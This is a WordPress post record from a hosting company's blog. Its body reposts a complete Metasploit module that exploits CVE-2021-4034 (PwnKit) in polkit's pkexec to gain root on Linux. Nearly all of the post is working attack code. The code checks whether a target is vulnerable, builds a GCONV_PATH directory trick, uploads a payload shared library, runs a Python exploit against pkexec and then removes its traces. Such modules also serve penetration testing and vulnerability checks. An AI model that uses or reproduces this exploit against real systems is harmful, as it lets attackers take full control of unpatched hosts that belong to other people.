{"id":21217,"date":"2022-03-03T20:19:22","date_gmt":"2022-03-03T17:19:22","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166196\/cve_2021_4034_pwnkit_lpe_pkexec.rb.txt"},"modified":"2022-03-06T11:37:10","modified_gmt":"2022-03-06T08:07:10","slug":"polkit-pkexec-local-privilege-escalation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/polkit-pkexec-local-privilege-escalation\/","title":{"rendered":"Polkit pkexec Local Privilege Escalation"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Local<br \/>\nRank = ExcellentRanking<\/p>\n<p dir=\"ltr\">include Msf::Post::File<br \/>\ninclude Msf::Post::Linux::Priv<br \/>\ninclude Msf::Post::Linux::Kernel<br \/>\ninclude Msf::Post::Linux::System<br \/>\ninclude Msf::Exploit::EXE<br \/>\ninclude Msf::Exploit::FileDropper<\/p>\n<p dir=\"ltr\">prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;Local Privilege Escalation in polkits pkexec&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nA bug exists in the polkit pkexec binary in how it processes arguments. If<br \/>\nthe binary is provided with no arguments, it will continue to process environment<br \/>\nvariables as argument variables, but without any security checking.<br \/>\nBy using the execve call we can specify a null argument list and populate the<br \/>\nproper environment variables. This exploit is architecture independent.<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;Qualys Security&#8217;, # Original vulnerability discovery<br \/>\n&#8216;Andris Raugulis&#8217;, # Exploit writeup and PoC<br \/>\n&#8216;Dhiraj Mishra&#8217;, # Metasploit Module<br \/>\n&#8216;bwatters-r7&#8217; # Metasploit Module<br \/>\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-01-25&#8217;,<br \/>\n&#8216;Platform&#8217; =&gt; [ &#8216;linux&#8217; ],<br \/>\n&#8216;SessionTypes&#8217; =&gt; [ &#8216;shell&#8217;, &#8216;meterpreter&#8217; ],<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;x86_64&#8217;,<br \/>\n{<br \/>\n&#8216;Arch&#8217; =&gt; [ ARCH_X64 ]\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;x86&#8217;,<br \/>\n{<br \/>\n&#8216;Arch&#8217; =&gt; [ ARCH_X86 ]\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;aarch64&#8217;,<br \/>\n{<br \/>\n&#8216;Arch&#8217; =&gt; [ ARCH_AARCH64 ]\n}<br \/>\n]\n],<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PrependSetgid&#8217; =&gt; true,<br \/>\n&#8216;PrependSetuid&#8217; =&gt; true<br \/>\n},<br \/>\n&#8216;Privileged&#8217; =&gt; true,<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[ &#8216;CVE&#8217;, &#8216;2021-4034&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/www.whitesourcesoftware.com\/resources\/blog\/polkit-pkexec-vulnerability-cve-2021-4034\/&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/www.qualys.com\/2022\/01\/25\/cve-2021-4034\/pwnkit.txt&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/arthepsy\/CVE-2021-4034&#8217; ], # PoC Reference<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/www.ramanean.com\/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit\/&#8217; ], # Vuln versions<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/cyberark\/PwnKit-Hunter\/blob\/main\/CVE-2021-4034_Finder.py&#8217; ] # vuln versions<br \/>\n],<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ],<br \/>\n&#8216;Stability&#8217; =&gt; [ CRASH_SAFE ],<br \/>\n&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK ]\n}<br \/>\n)<br \/>\n)<br \/>\nregister_options([<br \/>\nOptString.new(&#8216;WRITABLE_DIR&#8217;, [ true, &#8216;A directory where we can write files&#8217;, &#8216;\/tmp&#8217; ]),<br \/>\nOptString.new(&#8216;PKEXEC_PATH&#8217;, [ false, &#8216;The path to pkexec binary&#8217;, &#8221; ])<br \/>\n])<br \/>\nregister_advanced_options([<br \/>\nOptString.new(&#8216;FinalDir&#8217;, [ true, &#8216;A directory to move to after the exploit completes&#8217;, &#8216;\/&#8217; ]),<br \/>\n])<br \/>\nend<\/p>\n<p dir=\"ltr\">def on_new_session(new_session)<br \/>\n# The directory the payload launches in gets deleted and breaks some commands<br \/>\n# unless we change into a directory that exists<br \/>\nsuper<br \/>\nold_session = @session<br \/>\n@session = new_session<br \/>\ncd(datastore[&#8216;FinalDir&#8217;])<br \/>\n@session = old_session<br \/>\nend<\/p>\n<p dir=\"ltr\">def find_pkexec<br \/>\nvprint_status(&#8216;Locating pkexec&#8230;&#8217;)<br \/>\nif exists?(pkexec = cmd_exec(&#8216;which pkexec&#8217;))<br \/>\nvprint_status(&#8220;Found pkexec here: #{pkexec}&#8221;)<br \/>\nreturn pkexec<br \/>\nend<\/p>\n<p dir=\"ltr\">return nil<br \/>\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\n# Is the arch supported?<br \/>\narch = kernel_hardware<br \/>\nunless arch.include?(&#8216;x86_64&#8217;) || arch.include?(&#8216;aarch64&#8217;) || arch.include?(&#8216;x86&#8217;)<br \/>\nreturn CheckCode::Safe(&#8220;System architecture #{arch} is not supported&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\"># check the binary<br \/>\npkexec_path = datastore[&#8216;PKEXEC_PATH&#8217;]\npkexec_path = find_pkexec if pkexec_path.empty?<br \/>\nreturn CheckCode::Safe(&#8216;The pkexec binary was not found; try populating PkexecPath&#8217;) if pkexec_path.nil?<\/p>\n<p dir=\"ltr\"># we don&#8217;t use the reported version, but it can help with troubleshooting<br \/>\nversion_output = cmd_exec(&#8220;#{pkexec_path} &#8211;version&#8221;)<br \/>\nversion_array = version_output.split(&#8216; &#8216;)<br \/>\nif version_array.length &gt; 2<br \/>\npkexec_version = Rex::Version.new(version_array[2])<br \/>\nvprint_status(&#8220;Found pkexec version #{pkexec_version}&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\">return CheckCode::Safe(&#8216;The pkexec binary setuid is not set&#8217;) unless setuid?(pkexec_path)<\/p>\n<p dir=\"ltr\"># Grab the package version if we can to help troubleshoot<br \/>\nsysinfo = get_sysinfo<br \/>\nbegin<br \/>\nif sysinfo[:distro] =~ \/[dD]ebian\/<br \/>\nvprint_status(&#8216;Determined host os is Debian&#8217;)<br \/>\npackage_data = cmd_exec(&#8216;dpkg -s policykit-1&#8217;)<br \/>\npulled_version = package_data.scan(\/Version:\\s(.*)\/)[0][0]\nvprint_status(&#8220;Polkit package version = #{pulled_version}&#8221;)<br \/>\nend<br \/>\nif sysinfo[:distro] =~ \/[uU]buntu\/<br \/>\nvprint_status(&#8216;Determined host os is Ubuntu&#8217;)<br \/>\npackage_data = cmd_exec(&#8216;dpkg -s policykit-1&#8217;)<br \/>\npulled_version = package_data.scan(\/Version:\\s(.*)\/)[0][0]\nvprint_status(&#8220;Polkit package version = #{pulled_version}&#8221;)<br \/>\nend<br \/>\nif sysinfo[:distro] =~ \/[cC]entos\/<br \/>\nvprint_status(&#8216;Determined host os is CentOS&#8217;)<br \/>\npackage_data = cmd_exec(&#8216;rpm -qa | grep polkit&#8217;)<br \/>\nvprint_status(&#8220;Polkit package version = #{package_data}&#8221;)<br \/>\nend<br \/>\nrescue StandardError =&gt; e<br \/>\nvprint_status(&#8220;Caught exception #{e} Attempting to retrieve polkit package value.&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\">if sysinfo[:distro] =~ \/[fF]edora\/<br \/>\n# Fedora should be supported, and it passes the check otherwise, but it just<br \/>\n# does not seem to work. I am not sure why. I have tried with SeLinux disabled.<br \/>\nreturn CheckCode::Safe(&#8216;Fedora is not supported&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\"># run the exploit in check mode if everything looks right<br \/>\nif run_exploit(true)<br \/>\nreturn CheckCode::Vulnerable<br \/>\nend<\/p>\n<p dir=\"ltr\">return CheckCode::Safe(&#8216;The target does not appear vulnerable&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def find_exec_program<br \/>\nreturn &#8216;python&#8217; if command_exists?(&#8216;python&#8217;)<br \/>\nreturn &#8216;python3&#8217; if command_exists?(&#8216;python3&#8217;)<\/p>\n<p dir=\"ltr\">return nil<br \/>\nend<\/p>\n<p dir=\"ltr\">def run_exploit(check)<br \/>\nif is_root? &amp;&amp; !datastore[&#8216;ForceExploit&#8217;]\nfail_with Failure::BadConfig, &#8216;Session already has root privileges. Set ForceExploit to override.&#8217;<br \/>\nend<\/p>\n<p dir=\"ltr\">arch = kernel_hardware<br \/>\nvprint_status(&#8220;Detected architecture: #{arch}&#8221;)<br \/>\nif (arch.include?(&#8216;x86_64&#8217;) &amp;&amp; payload.arch.first.include?(&#8216;aarch&#8217;)) || (arch.include?(&#8216;aarch&#8217;) &amp;&amp; !payload.arch.first.include?(&#8216;aarch&#8217;))<br \/>\nfail_with(Failure::BadConfig, &#8216;Host\/payload Mismatch; set target and select matching payload&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">pkexec_path = datastore[&#8216;PKEXEC_PATH&#8217;]\nif pkexec_path.empty?<br \/>\npkexec_path = find_pkexec<br \/>\nend<\/p>\n<p dir=\"ltr\">python_binary = find_exec_program<\/p>\n<p dir=\"ltr\"># Do we have the pkexec binary?<br \/>\nif pkexec_path.nil?<br \/>\nfail_with Failure::NotFound, &#8216;The pkexec binary was not found; try populating PkexecPath&#8217;<br \/>\nend<\/p>\n<p dir=\"ltr\"># Do we have the python binary?<br \/>\nif python_binary.nil?<br \/>\nfail_with Failure::NotFound, &#8216;The python binary was not found; try populating PythonPath&#8217;<br \/>\nend<\/p>\n<p dir=\"ltr\">unless writable? datastore[&#8216;WRITABLE_DIR&#8217;]\nfail_with Failure::BadConfig, &#8220;#{datastore[&#8216;WRITABLE_DIR&#8217;]} is not writable&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\">local_dir = &#8220;.#{Rex::Text.rand_text_alpha_lower(6..12)}&#8221;<br \/>\nworking_dir = &#8220;#{datastore[&#8216;WRITABLE_DIR&#8217;]}\/#{local_dir}&#8221;<br \/>\nmkdir(working_dir)<br \/>\nregister_dir_for_cleanup(working_dir)<\/p>\n<p dir=\"ltr\">random_string_1 = Rex::Text.rand_text_alpha_lower(6..12).to_s<br \/>\nrandom_string_2 = Rex::Text.rand_text_alpha_lower(6..12).to_s<br \/>\n@old_wd = pwd<br \/>\ncd(working_dir)<br \/>\ncmd_exec(&#8216;mkdir -p GCONV_PATH=.&#8217;)<br \/>\ncmd_exec(&#8220;touch GCONV_PATH=.\/#{random_string_1}&#8221;)<br \/>\ncmd_exec(&#8220;chmod a+x GCONV_PATH=.\/#{random_string_1}&#8221;)<br \/>\ncmd_exec(&#8220;mkdir -p #{random_string_1}&#8221;)<\/p>\n<p dir=\"ltr\">payload_file = &#8220;#{working_dir}\/#{random_string_1}\/#{random_string_1}.so&#8221;<br \/>\nunless check<br \/>\nupload_and_chmodx(payload_file.to_s, generate_payload_dll)<br \/>\nregister_file_for_cleanup(payload_file)<br \/>\nend<\/p>\n<p dir=\"ltr\">exploit_file = &#8220;#{working_dir}\/.#{Rex::Text.rand_text_alpha_lower(6..12)}&#8221;<\/p>\n<p dir=\"ltr\">write_file(exploit_file, exploit_data(&#8216;CVE-2021-4034&#8217;, &#8216;cve_2021_4034.py&#8217;))<br \/>\nregister_file_for_cleanup(exploit_file)<\/p>\n<p dir=\"ltr\">cmd = &#8220;#{python_binary} #{exploit_file} #{pkexec_path} #{payload_file} #{random_string_1} #{random_string_2}&#8221;<br \/>\nprint_warning(&#8220;Verify cleanup of #{working_dir}&#8221;)<br \/>\nvprint_status(&#8220;Running #{cmd}&#8221;)<br \/>\noutput = cmd_exec(cmd)<\/p>\n<p dir=\"ltr\"># Return to the old working directory before we delete working_directory<br \/>\ncd(@old_wd)<br \/>\ncmd_exec(&#8220;rm -rf #{working_dir}&#8221;)<br \/>\nvprint_status(output) unless output.empty?<br \/>\n# Return proper value if we are using exploit-as-a-check<br \/>\nif check<br \/>\nreturn false if output.include?(&#8216;pkexec &#8211;version&#8217;)<\/p>\n<p dir=\"ltr\">return true<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\nrun_exploit(false)<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;Local Privilege Escalation in polkits pkexec&#8217;, &#8216;Description&#8217; =&gt; %q{ A bug exists in &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21217","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21217","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21217"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21217\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21217"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21217"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21217"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}